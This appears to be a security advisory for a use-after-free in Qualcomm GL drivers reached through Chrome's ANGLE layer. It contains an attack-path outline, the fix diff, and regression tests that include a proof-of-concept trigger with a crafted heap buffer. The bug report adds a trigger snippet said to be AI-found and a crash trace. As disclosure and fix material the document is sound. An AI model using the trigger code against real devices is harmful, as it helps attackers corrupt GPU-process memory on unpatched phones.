CVE-2026-9876
Overview
Background
- `ANGLE`
- Chrome’s cross-platform graphics abstraction layer that translates WebGL/OpenGL ES calls onto native drivers (Direct3D, Vulkan, native GL) in the GPU process.
- `FBO` (Framebuffer Object)
- a GL container binding color/depth/stencil attachments that WebGL renders into instead of the default framebuffer.
- `flush`/`finish`/`fenceSync`
- GL synchronization primitives that submit pending commands to the driver;
fenceSync(backed bycreateSync) inserts a fence the client can later wait on. - `recreateFboUponFlush`
- the new
FeaturesGLworkaround flag that recreates the boundFBOaround flush/finish/sync operations to avoid a Qualcomm driver bug (crbug 493747593).
Root Cause Analysis
On affected Qualcomm GL drivers, issuing a flush, finish, or fenceSync while an FBO is bound causes the driver to retain a stale internal reference to that framebuffer’s state. The driver’s framebuffer state can subsequently be freed and its memory reused, while the driver still holds and later dereferences the dangling pointer during synchronization, producing a use-after-free entirely inside the GPU process. Because ANGLE’s GL backend passed these synchronization calls straight through to the native driver, nothing on ANGLE’s side interposed to keep the driver’s view of the FBO consistent.
The fix adds the recreateFboUponFlush workaround, which recreates the FBO around the affected operations so the driver never dereferences freed framebuffer state. To apply the workaround at the moment a sync object is created, GLImplFactory::createSync was changed to receive the gl::Context on all backends, giving the GL backend the context needed to rebuild the FBO. The workaround is gated to Qualcomm GPUs, with the surrounding declaration and code_generation_hashes changes being feature-table and codegen churn rather than behavioral.
FBO binding and the timing of flush/finish/fenceSync; ANGLE must defensively recreate the FBO because it cannot fix the driver’s stale reference.Attack Path
- Set up render target
Malicious web content creates and binds a WebGL framebuffer (
FBO) with attachments, matching the driver-buggy configuration. - Trigger the stale reference
The page calls
flush,finish, orfenceSyncwhile theFBOis bound, causing the Qualcomm driver to cache a reference to the framebuffer’s internal state. - Free and reuse the state The content tears down or reconfigures the framebuffer so the driver’s referenced state is freed and its memory reallocated for attacker-influenced data.
- Dereference the dangling pointer A subsequent synchronization or draw makes the driver dereference the freed framebuffer state, yielding a use-after-free in the GPU process.
- Leverage corruption The attacker shapes heap reuse to convert the UAF into memory corruption for information disclosure or code execution within the GPU sandbox.
Impact Assessment
Files Changed
include/platform/autogen/FeaturesGL_autogen.hinclude/platform/gl_features.jsonscripts/code_generation_hashes/ANGLE_format.jsonscripts/code_generation_hashes/ANGLE_load_functions_table.jsonscripts/code_generation_hashes/D3D11_format.jsonscripts/code_generation_hashes/DXGI_format.jsonscripts/code_generation_hashes/GL_copy_conversion_table.jsonscripts/code_generation_hashes/GL_format_map.jsonscripts/code_generation_hashes/Metal_default_shaders.jsonscripts/code_generation_hashes/Metal_format_table.jsonscripts/code_generation_hashes/OpenGL_dispatch_table.jsonscripts/code_generation_hashes/Vulkan_format.jsonscripts/code_generation_hashes/Vulkan_mandatory_format_support_table.jsonscripts/code_generation_hashes/WebGPU_format.json
Audit Directions
- Pass-through sync primitivesAudit other ANGLE backends and driver workarounds where
flush/finish/createSyncforward directly to native drivers while anFBOor other stateful object is bound, since drivers may cache references across synchronization. - Driver-lifetime workaroundsReview existing
FeaturesGLflags gated on specific vendors (Qualcomm, others) for object-lifetime assumptions, and confirm they are force-enabled in unit tests without regressing on unaffected platforms. - Signature-threading changesWhen a context or state handle is newly threaded into a factory method like
createSync, verify every backend override consumes it consistently and that no path retains a stalegl::ContextorFBOreference.
Patch
From 7193b3e1cdcd67d5ec22274856160f5b363db5fd Mon Sep 17 00:00:00 2001
From: Ken Russell <kbr@chromium.org>
Date: Mon, 04 May 2026 22:57:25 -0700
Subject: [PATCH] GL: Add recreateFboUponFlush workaround.
For the moment, apply it to all Qualcomm GPUs. The workaround will be
restricted further in follow-on commits.
Pass gl::Context to GLImplFactory::createSync on all backends in order
to provide it to the GL backend for the workaround.
Fixed lurking problem with escape sequences in angle_format.py.
Incorporated new unit tests, including some which force-enable the
workaround; should be a no-op on other platforms.
Co-authored with jetski-cli.
Bug: chromium:493747593
Change-Id: I027bfb484611a89615620001f160d0c909a7b22f
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/7815775
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Commit-Queue: Kenneth Russell <kbr@chromium.org>
---
diff --git a/include/platform/autogen/FeaturesGL_autogen.h b/include/platform/autogen/FeaturesGL_autogen.h
index d5e9061..d30f958 100644
--- a/include/platform/autogen/FeaturesGL_autogen.h
+++ b/include/platform/autogen/FeaturesGL_autogen.h
@@ -692,6 +692,12 @@
&members,
};
+ FeatureInfo recreateFboUponFlush = {
+ "recreateFboUponFlush",
+ FeatureCategory::OpenGLWorkarounds,
+ &members,
+ };
+
};
inline FeaturesGL::FeaturesGL() = default;
diff --git a/include/platform/gl_features.json b/include/platform/gl_features.json
index 6c1a696..7232893 100644
--- a/include/platform/gl_features.json
+++ b/include/platform/gl_features.json
@@ -901,6 +901,14 @@
"Some drivers have internal failures when attempting to allocate and initialize buffers larger than 1gb."
],
"issue": "http://crbug.com/475877320"
+ },
+ {
+ "name": "recreate_fbo_upon_flush",
+ "category": "Workarounds",
+ "description": [
+ "Recreate FBO upon flush/finish/fencesync under certain conditions to work around driver bugs."
+ ],
+ "issue": "http://crbug.com/493747593"
}
]
}
diff --git a/scripts/code_generation_hashes/ANGLE_format.json b/scripts/code_generation_hashes/ANGLE_format.json
index 5061608..3591ef2 100644
--- a/scripts/code_generation_hashes/ANGLE_format.json
+++ b/scripts/code_generation_hashes/ANGLE_format.json
@@ -4,7 +4,7 @@
"src/libANGLE/renderer/Format_table_autogen.cpp":
"21e0b0aa9ce772d528e7063ee94cede7",
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30",
+ "49c55a74e763b1cfd0d96c4b49b4e402",
"src/libANGLE/renderer/angle_format_data.json":
"f82d30f65cebd8c787ac0d29fa4c0221",
"src/libANGLE/renderer/angle_format_map.json":
diff --git a/scripts/code_generation_hashes/ANGLE_load_functions_table.json b/scripts/code_generation_hashes/ANGLE_load_functions_table.json
index ec85f68..ec8f763 100644
--- a/scripts/code_generation_hashes/ANGLE_load_functions_table.json
+++ b/scripts/code_generation_hashes/ANGLE_load_functions_table.json
@@ -1,6 +1,6 @@
{
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30",
+ "49c55a74e763b1cfd0d96c4b49b4e402",
"src/libANGLE/renderer/gen_load_functions_table.py":
"73e96775a0bd1a424f3f8585b1c5175f",
"src/libANGLE/renderer/load_functions_data.json":
diff --git a/scripts/code_generation_hashes/D3D11_format.json b/scripts/code_generation_hashes/D3D11_format.json
index 90fadc6..8cd8a9e 100644
--- a/scripts/code_generation_hashes/D3D11_format.json
+++ b/scripts/code_generation_hashes/D3D11_format.json
@@ -1,6 +1,6 @@
{
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30",
+ "49c55a74e763b1cfd0d96c4b49b4e402",
"src/libANGLE/renderer/d3d/d3d11/gen_texture_format_table.py":
"70dcd2607cd481f450233c7c2b5c7ac0",
"src/libANGLE/renderer/d3d/d3d11/texture_format_data.json":
diff --git a/scripts/code_generation_hashes/DXGI_format.json b/scripts/code_generation_hashes/DXGI_format.json
index 648d43d..214b818 100644
--- a/scripts/code_generation_hashes/DXGI_format.json
+++ b/scripts/code_generation_hashes/DXGI_format.json
@@ -1,6 +1,6 @@
{
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30",
+ "49c55a74e763b1cfd0d96c4b49b4e402",
"src/libANGLE/renderer/angle_format_map.json":
"abad08e462a0839d1600d83f83bcad8b",
"src/libANGLE/renderer/dxgi_format_data.json":
diff --git a/scripts/code_generation_hashes/GL_copy_conversion_table.json b/scripts/code_generation_hashes/GL_copy_conversion_table.json
index 341b8b8..af3566a 100644
--- a/scripts/code_generation_hashes/GL_copy_conversion_table.json
+++ b/scripts/code_generation_hashes/GL_copy_conversion_table.json
@@ -6,5 +6,5 @@
"src/libANGLE/gen_copy_conversion_table.py":
"3b1f0182a41af78b44930fb415ff0fb6",
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30"
+ "49c55a74e763b1cfd0d96c4b49b4e402"
}
diff --git a/scripts/code_generation_hashes/GL_format_map.json b/scripts/code_generation_hashes/GL_format_map.json
index eda4f5c..73563bb 100644
--- a/scripts/code_generation_hashes/GL_format_map.json
+++ b/scripts/code_generation_hashes/GL_format_map.json
@@ -8,5 +8,5 @@
"src/libANGLE/gen_format_map.py":
"32b43aedcbad2aa5eaa47052cc8573ac",
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30"
+ "49c55a74e763b1cfd0d96c4b49b4e402"
}
diff --git a/scripts/code_generation_hashes/Metal_default_shaders.json b/scripts/code_generation_hashes/Metal_default_shaders.json
index 79e6c2a..68a8512 100644
--- a/scripts/code_generation_hashes/Metal_default_shaders.json
+++ b/scripts/code_generation_hashes/Metal_default_shaders.json
@@ -1,6 +1,6 @@
{
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30",
+ "49c55a74e763b1cfd0d96c4b49b4e402",
"src/libANGLE/renderer/angle_format_map.json":
"abad08e462a0839d1600d83f83bcad8b",
"src/libANGLE/renderer/gen_angle_format_table.py":
diff --git a/scripts/code_generation_hashes/Metal_format_table.json b/scripts/code_generation_hashes/Metal_format_table.json
index 1279b30..663e0d2 100644
--- a/scripts/code_generation_hashes/Metal_format_table.json
+++ b/scripts/code_generation_hashes/Metal_format_table.json
@@ -1,6 +1,6 @@
{
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30",
+ "49c55a74e763b1cfd0d96c4b49b4e402",
"src/libANGLE/renderer/angle_format_map.json":
"abad08e462a0839d1600d83f83bcad8b",
"src/libANGLE/renderer/metal/gen_mtl_format_table.py":
diff --git a/scripts/code_generation_hashes/OpenGL_dispatch_table.json b/scripts/code_generation_hashes/OpenGL_dispatch_table.json
index 17f66d2..dea39df 100644
--- a/scripts/code_generation_hashes/OpenGL_dispatch_table.json
+++ b/scripts/code_generation_hashes/OpenGL_dispatch_table.json
@@ -1,6 +1,6 @@
{
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30",
+ "49c55a74e763b1cfd0d96c4b49b4e402",
"src/libANGLE/renderer/gl/DispatchTableGL_autogen.cpp":
"31c088a9f24d58dc3b440412ff1410b1",
"src/libANGLE/renderer/gl/DispatchTableGL_autogen.h":
diff --git a/scripts/code_generation_hashes/Vulkan_format.json b/scripts/code_generation_hashes/Vulkan_format.json
index b81d75c..ba5152f 100644
--- a/scripts/code_generation_hashes/Vulkan_format.json
+++ b/scripts/code_generation_hashes/Vulkan_format.json
@@ -1,6 +1,6 @@
{
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30",
+ "49c55a74e763b1cfd0d96c4b49b4e402",
"src/libANGLE/renderer/angle_format_map.json":
"abad08e462a0839d1600d83f83bcad8b",
"src/libANGLE/renderer/vulkan/gen_vk_format_table.py":
diff --git a/scripts/code_generation_hashes/Vulkan_mandatory_format_support_table.json b/scripts/code_generation_hashes/Vulkan_mandatory_format_support_table.json
index 02679eb..1616f34 100644
--- a/scripts/code_generation_hashes/Vulkan_mandatory_format_support_table.json
+++ b/scripts/code_generation_hashes/Vulkan_mandatory_format_support_table.json
@@ -1,6 +1,6 @@
{
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30",
+ "49c55a74e763b1cfd0d96c4b49b4e402",
"src/libANGLE/renderer/vulkan/gen_vk_mandatory_format_support_table.py":
"a9fd6f3ff2b584aff382364489146c76",
"src/libANGLE/renderer/vulkan/vk_format_map.json":
diff --git a/scripts/code_generation_hashes/WebGPU_format.json b/scripts/code_generation_hashes/WebGPU_format.json
index 68bae1f..5380ce4 100644
--- a/scripts/code_generation_hashes/WebGPU_format.json
+++ b/scripts/code_generation_hashes/WebGPU_format.json
@@ -1,6 +1,6 @@
{
"src/libANGLE/renderer/angle_format.py":
- "45ffbde9a8edc7cec1c6c3afc5517b30",
Regression Test / PoC
diff --git a/src/libANGLE/Fence_unittest.cpp b/src/libANGLE/Fence_unittest.cpp
index 251d217..85df992 100644
--- a/src/libANGLE/Fence_unittest.cpp
+++ b/src/libANGLE/Fence_unittest.cpp
@@ -96,9 +96,9 @@
void SetUp() override
{
mImpl = new MockSyncImpl;
- EXPECT_CALL(factory, createSync()).WillOnce(Return(mImpl));
+ EXPECT_CALL(factory, createSync(_)).WillOnce(Return(mImpl));
- mFence = new gl::Sync(&factory, {1});
+ mFence = new gl::Sync(&factory, {1}, nullptr);
EXPECT_CALL(*mImpl, destroy());
mFence->addRef();
}
diff --git a/src/tests/angle_unittests_utils.h b/src/tests/angle_unittests_utils.h
index 8400776..529677b 100644
--- a/src/tests/angle_unittests_utils.h
+++ b/src/tests/angle_unittests_utils.h
@@ -60,7 +60,7 @@
// Query and Fence creation
QueryImpl *createQuery(gl::QueryType type) override { return nullptr; }
FenceNVImpl *createFenceNV() override { return nullptr; }
- SyncImpl *createSync() override { return nullptr; }
+ SyncImpl *createSync(const gl::Context *context) override { return nullptr; }
// Transform Feedback creation
TransformFeedbackImpl *createTransformFeedback(const gl::TransformFeedbackState &state) override
@@ -101,7 +101,7 @@
VertexArrayImpl *(const gl::VertexArrayState &, const gl::VertexArrayBuffers &));
MOCK_METHOD1(createQuery, QueryImpl *(gl::QueryType type));
MOCK_METHOD0(createFenceNV, FenceNVImpl *());
- MOCK_METHOD0(createSync, SyncImpl *());
+ MOCK_METHOD1(createSync, SyncImpl *(const gl::Context *));
MOCK_METHOD1(createTransformFeedback,
TransformFeedbackImpl *(const gl::TransformFeedbackState &));
MOCK_METHOD1(createSampler, SamplerImpl *(const gl::SamplerState &));
diff --git a/src/tests/gl_tests/FramebufferTest.cpp b/src/tests/gl_tests/FramebufferTest.cpp
index a029996..1f01ecb 100644
--- a/src/tests/gl_tests/FramebufferTest.cpp
+++ b/src/tests/gl_tests/FramebufferTest.cpp
@@ -9421,3 +9421,293 @@
ES3_VULKAN().disable(Feature::PreferDynamicRendering));
ANGLE_INSTANTIATE_TEST_ES3_AND(DefaultFramebufferTest,
ES3_VULKAN().disable(Feature::PreferDynamicRendering));
+
+class FramebufferTest_ES3FBOWorkaround : public ANGLETest<>
+{
+ protected:
+ FramebufferTest_ES3FBOWorkaround()
+ {
+ setWindowWidth(128);
+ setWindowHeight(128);
+ setConfigRedBits(8);
+ setConfigGreenBits(8);
+ setConfigBlueBits(8);
+ setConfigAlphaBits(8);
+ setConfigDepthBits(24);
+ setConfigStencilBits(8);
+ }
+
+ void testSetUp() override
+ {
+ mColorProgram =
+ CompileProgram(essl1_shaders::vs::Simple(), essl1_shaders::fs::UniformColor());
+ ASSERT_NE(0u, mColorProgram);
+ mColorUniformLocation = glGetUniformLocation(mColorProgram, essl1_shaders::ColorUniform());
+ ASSERT_NE(-1, mColorUniformLocation);
+ }
+
+ void testTearDown() override
+ {
+ if (mColorProgram != 0)
+ {
+ glDeleteProgram(mColorProgram);
+ }
+ }
+
+ void drawRedQuad()
+ {
+ glUseProgram(mColorProgram);
+ glUniform4f(mColorUniformLocation, 1.0f, 0.0f, 0.0f, 1.0f);
+ drawQuad(mColorProgram, essl1_shaders::PositionAttrib(), 0.5f);
+ }
+
+ void drawGreenQuad()
+ {
+ glUseProgram(mColorProgram);
+ glUniform4f(mColorUniformLocation, 0.0f, 1.0f, 0.0f, 1.0f);
+ drawQuad(mColorProgram, essl1_shaders::PositionAttrib(), 0.5f);
+ }
+
+ GLuint mColorProgram = 0;
+ GLint mColorUniformLocation = -1;
+};
+
+// Sub-Test 1: Renderbuffer depth/stencil attachment Case
+TEST_P(FramebufferTest_ES3FBOWorkaround, RenderbufferWorkaround)
+{
+ GLFramebuffer fbo;
+ glBindFramebuffer(GL_FRAMEBUFFER, fbo);
+
+ GLRenderbuffer rbo;
+ glBindRenderbuffer(GL_RENDERBUFFER, rbo);
+ glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH24_STENCIL8, 128, 128);
+ glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_STENCIL_ATTACHMENT, GL_RENDERBUFFER, rbo);
+
+ GLTexture texture;
+ glBindTexture(GL_TEXTURE_2D, texture);
+ glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 128, 128);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 0);
+
+ ASSERT_GL_FRAMEBUFFER_COMPLETE(GL_FRAMEBUFFER);
+ ASSERT_GL_NO_ERROR();
+
+ // Draw a red quad to color buffer
+ drawRedQuad();
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::red);
+
+ // Trigger flush -> FBO recreation!
+ glFlush();
+ ASSERT_GL_NO_ERROR();
+
+ // Draw a green quad to color buffer
+ drawGreenQuad();
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
+ ASSERT_GL_NO_ERROR();
+}
+
+// Sub-Test 2: Uninitialized Texture Case
+TEST_P(FramebufferTest_ES3FBOWorkaround, UninitializedTextureWorkaround)
+{
+ GLFramebuffer fbo;
+ glBindFramebuffer(GL_FRAMEBUFFER, fbo);
+
+ GLTexture depthTex;
+ glBindTexture(GL_TEXTURE_2D, depthTex);
+ glTexStorage2D(GL_TEXTURE_2D, 1, GL_DEPTH_COMPONENT16, 128, 128);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, depthTex, 0);
+
+ GLTexture colorTex;
+ glBindTexture(GL_TEXTURE_2D, colorTex);
+ glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 128, 128);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, colorTex, 0);
+
+ ASSERT_GL_FRAMEBUFFER_COMPLETE(GL_FRAMEBUFFER);
+ ASSERT_GL_NO_ERROR();
+
+ // Draw red
+ drawRedQuad();
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::red);
+
+ // Trigger flush -> FBO recreation!
+ glFlush();
+ ASSERT_GL_NO_ERROR();
+
+ // Draw green
+ drawGreenQuad();
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
+ ASSERT_GL_NO_ERROR();
+}
+
+// Sub-Test 3: Initialized Texture Case (Workaround does NOT trigger)
+TEST_P(FramebufferTest_ES3FBOWorkaround, InitializedTextureNoWorkaround)
+{
+ GLFramebuffer fbo;
+ glBindFramebuffer(GL_FRAMEBUFFER, fbo);
+
+ GLTexture depthTex;
+ glBindTexture(GL_TEXTURE_2D, depthTex);
+ glTexStorage2D(GL_TEXTURE_2D, 1, GL_DEPTH_COMPONENT16, 128, 128);
+
+ // Initialize/clear the depth texture level using glTexSubImage2D
+ std::vector<GLushort> depthData(128 * 128, 0);
+ glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, 128, 128, GL_DEPTH_COMPONENT, GL_UNSIGNED_SHORT,
+ depthData.data());
+ ASSERT_GL_NO_ERROR();
+
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, depthTex, 0);
+
+ GLTexture colorTex;
+ glBindTexture(GL_TEXTURE_2D, colorTex);
+ glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 128, 128);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, colorTex, 0);
+
+ ASSERT_GL_FRAMEBUFFER_COMPLETE(GL_FRAMEBUFFER);
+ ASSERT_GL_NO_ERROR();
+
+ // Draw red
+ drawRedQuad();
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::red);
+
+ // Trigger flush -> Workaround should NOT trigger, but we test that everything still works
+ glFlush();
+ ASSERT_GL_NO_ERROR();
+
+ // Draw green
+ drawGreenQuad();
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
+ ASSERT_GL_NO_ERROR();
+}
+
+// Sub-Test 4: FBO combined with FenceSync
+TEST_P(FramebufferTest_ES3FBOWorkaround, FBOAndFenceSync)
+{
+ GLuint i;
+ GLuint num_buffers;
+ GLuint buffer1;
+ GLuint buffer2;
+ GLuint framebuffer;
+ GLuint textures[2];
+ GLuint renderbuffers[2];
+ GLuint framebuffers[2];
+ GLuint textures2[2];
+ GLuint *buffers;
+ void *pixels;
+ char *g_prepared_buffer;
+ char data[16];
+
+ g_prepared_buffer = (char *)calloc(1, 0x400);
+ *(int *)(g_prepared_buffer + 0x00) = 0x40082000;
+ *(int *)(g_prepared_buffer + 0x04) = 0x40282000;
+ *(int *)(g_prepared_buffer + 0x08) = 0x40282000;
+ *(int *)(g_prepared_buffer + 0x0c) = 0x40282000;
+ *(int *)(g_prepared_buffer + 0x28) = 0x33800000;
+ *(int *)(g_prepared_buffer + 0x110) = 0x40282000;
+ *(int *)(g_prepared_buffer + 0x114) = 0x40282000;
+ *(int *)(g_prepared_buffer + 0x118) = 0x40282000;
+ *(int *)(g_prepared_buffer + 0x11c) = 0x40282000;
+
+ pixels = calloc(1, 0x4000);
+ num_buffers = 10;
+ buffers = (GLuint *)calloc(1, 4 * num_buffers);
+
+ glGenFramebuffers(2, framebuffers);
+ glGenRenderbuffers(2, renderbuffers);
+ glGenTextures(2, textures);
+ glBindTexture(GL_TEXTURE_2D, textures[0]);
+ glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 40, 40);
+ glBindTexture(GL_TEXTURE_2D, textures[1]);
+ glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 43, 43);
+ glBindFramebuffer(GL_FRAMEBUFFER, framebuffers[0]);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, textures[0], 0);
+ glReadBuffer(GL_COLOR_ATTACHMENT0);
+ glClear(GL_COLOR_BUFFER_BIT);
+ glBindFramebuffer(GL_READ_FRAMEBUFFER, 0);
+ glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0);
+ glDeleteFramebuffers(1, framebuffers);
+ glBindRenderbuffer(GL_RENDERBUFFER, renderbuffers[0]);
+ glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH24_STENCIL8, 40, 40);
+ glBindFramebuffer(GL_FRAMEBUFFER, framebuffers[1]);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, textures[0], 0);
+ glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER,
+ renderbuffers[0]);
+ glReadBuffer(GL_COLOR_ATTACHMENT0);
+ glGenFramebuffers(1, framebuffers);
+ glBindFramebuffer(GL_FRAMEBUFFER, framebuffers[0]);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, 0, 0);
+ glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER,
+ renderbuffers[0]);
+ glClear(GL_STENCIL_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
+ glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, 0);
+ glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER, 0);
+ glBindFramebuffer(GL_READ_FRAMEBUFFER, framebuffers[1]);
+ glReadPixels(0, 0, 40, 40, GL_RGBA, GL_UNSIGNED_BYTE, pixels);
+ glBindFramebuffer(GL_DRAW_FRAMEBUFFER, framebuffers[1]);
+ glClear(GL_COLOR_BUFFER_BIT | GL_STENCIL_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
+ glGenFramebuffers(1, &framebuffer);
+ glBindFramebuffer(GL_FRAMEBUFFER, framebuffer);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, textures[1], 0);
+ glReadBuffer(GL_COLOR_ATTACHMENT0);
+ glClear(GL_COLOR_BUFFER_BIT);
+ glBindFramebuffer(GL_READ_FRAMEBUFFER, 0);
+ glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0);
+ glDeleteFramebuffers(1, &framebuffer);
+ glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH24_STENCIL8, 40, 40);
+ glBindFramebuffer(GL_FRAMEBUFFER, framebuffers[1]);
+ glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER,
+ renderbuffers[0]);
+ glClear(GL_COLOR_BUFFER_BIT | GL_STENCIL_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
+ glPixelStorei(GL_PACK_ROW_LENGTH, 43);
+ glGenBuffers(1, &buffer1);
+ glBindBuffer(GL_PIXEL_UNPACK_BUFFER, buffer1);
+ glBufferData(GL_PIXEL_UNPACK_BUFFER, 0x400, g_prepared_buffer, GL_DYNAMIC_DRAW);
+ glGenTextures(2, textures2);
+ glActiveTexture(GL_TEXTURE0);
+ glBindTexture(GL_TEXTURE_2D, textures2[0]);
+ glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F, 0x25, 1, 0, GL_RGBA, GL_FLOAT, 0);
+ glActiveTexture(GL_TEXTURE1);
+ glBindTexture(GL_TEXTURE_2D, textures2[1]);
+ glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F, 0x27, 1, 0, GL_RGBA, GL_FLOAT, 0);
+ glPixelStorei(GL_PACK_ROW_LENGTH, 0);
+ glPixelStorei(GL_PACK_ROW_LENGTH, 43);
+ glGenBuffers(num_buffers, buffers);
+ glBindBuffer(GL_ARRAY_BUFFER, 0);
+ glGenBuffers(1, &buffer2);
+ glBindBuffer(GL_PIXEL_PACK_BUFFER, buffer2);
+ glBufferData(GL_PIXEL_PACK_BUFFER, 0x4000, pixels, GL_STATIC_COPY);
+ glFinish();
... (truncated)
Original Bug Report
Qualcomm Wild exploited CVE-2025-27038 bypass
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS Bypassing this vulnerability using Gemini: https://issues.chromium.org/issues/402078335 The key code are below:
GLuint q[5];
glGenQueries(5, q);
glBeginQuery(GL_ANY_SAMPLES_PASSED, q[4]);
glFenceSync(GL_SYNC_GPU_COMMANDS_COMPLETE, 0);
glEndQuery(GL_ANY_SAMPLES_PASSED);
glDeleteQueries(5, q);
If remove this,can’t reproduce on s25.
VERSION
Chrome Version: [148.0.7735.0] + [build]
Operating System: samsung/pa1qzcx/pa1q:16/BP2A.250605.031.A3/S9310ZCS9BZB2_CHC9BZB2:user/release-keys Android patch level 05/02/2026
build chrome with commit f1107e1bd074b7f871dc4f6542cb9070cd2d7387
open with qualcomm.html
signal 6 (SIGABRT), code -1 (SI_QUEUE) in tid 9542 (CrGpuMain), pid 9516 (ileged_process0)
Build fingerprint: 'samsung/pa1qzcx/pa1q:16/BP2A.250605.031.A3/S9310ZCS9BZB2_CHC9BZB2:user/release-keys'
Revision: '11'
pid: 9516, tid: 9542, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
signal 6 (SIGABRT), code -1 (SI_QUEUE), fault addr --------
Abort message: 'Scudo ERROR: invalid chunk state when deallocating address 0x200007a9e0885f0'
Stack Trace:
RELADDR FUNCTION FILE:LINE
000000000007137c abort+160) (BuildId: 61a049a7ad18156ebc52d8d483539df9 /apex/com.android.runtime/lib64/bionic/libc.so
000000000005d26c scudo::die()+12) (BuildId: 61a049a7ad18156ebc52d8d483539df9 /apex/com.android.runtime/lib64/bionic/libc.so
000000000005dcbc scudo::reportRawError(char const*)+32) (BuildId: 61a049a7ad18156ebc52d8d483539df9 /apex/com.android.runtime/lib64/bionic/libc.so
000000000005dc30 scudo::ScopedErrorReport::~ScopedErrorReport()+16) (BuildId: 61a049a7ad18156ebc52d8d483539df9 /apex/com.android.runtime/lib64/bionic/libc.so
000000000005e04c scudo::reportInvalidChunkState(scudo::AllocatorAction, void*)+120) (BuildId: 61a049a7ad18156ebc52d8d483539df9 /apex/com.android.runtime/lib64/bionic/libc.so
000000000005f7d8 scudo::Allocator<scudo::AndroidNormalConfig, &scudo_malloc_postinit>::deallocate(void*, scudo::Chunk::Origin, unsigned long, unsigned long)+296) (BuildId: 61a049a7ad18156ebc52d8d483539df9 /apex/com.android.runtime/lib64/bionic/libc.so
000000000020121c !!!0000!b5eedfb3a584512f78b9dc44aa9054!e4a2ccdb56!+172) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766 /vendor/lib64/egl/libGLESv2_adreno.so
0000000000204714 !!!0000!d0051afa8fb0bb02a68e169738355f!e4a2ccdb56!+9876) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766 /vendor/lib64/egl/libGLESv2_adreno.so
0000000000201f90 !!!0000!4c55ad62eeadde03d2e8ada46b4156!e4a2ccdb56!+48) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766 /vendor/lib64/egl/libGLESv2_adreno.so
